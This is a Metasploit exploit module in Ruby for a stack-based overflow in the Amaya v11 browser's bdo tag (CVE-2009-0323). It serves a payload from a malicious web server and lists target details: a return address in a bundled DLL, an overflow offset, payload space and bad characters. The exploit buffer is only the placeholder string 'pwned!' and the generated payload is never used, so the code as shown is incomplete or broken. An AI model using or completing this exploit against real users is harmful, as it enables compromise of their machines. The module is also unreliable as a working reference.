## # $Id: amaya_bdo.rb ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Amaya Browser v11.0 bdo tag overflow', 'Description' => %q{ This module exploits a stack overflow in the Amaya v11 Browser. By sending an overly long string to the "bdo" tag, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'dookie, original exploit by Rob Carter' ], 'Version' => '$Revision: 6812 $', 'References' => [ [ 'CVE', '2009-0323' ], [ 'OSVDB', '55721' ], [ 'BID', '33046, 33047' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 970, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll ], 'DisclosureDate' => 'Jan 28 2009', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Set the exploit buffer sploit = "pwned!" print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, sploit) # Handle the payload handler(cli) end end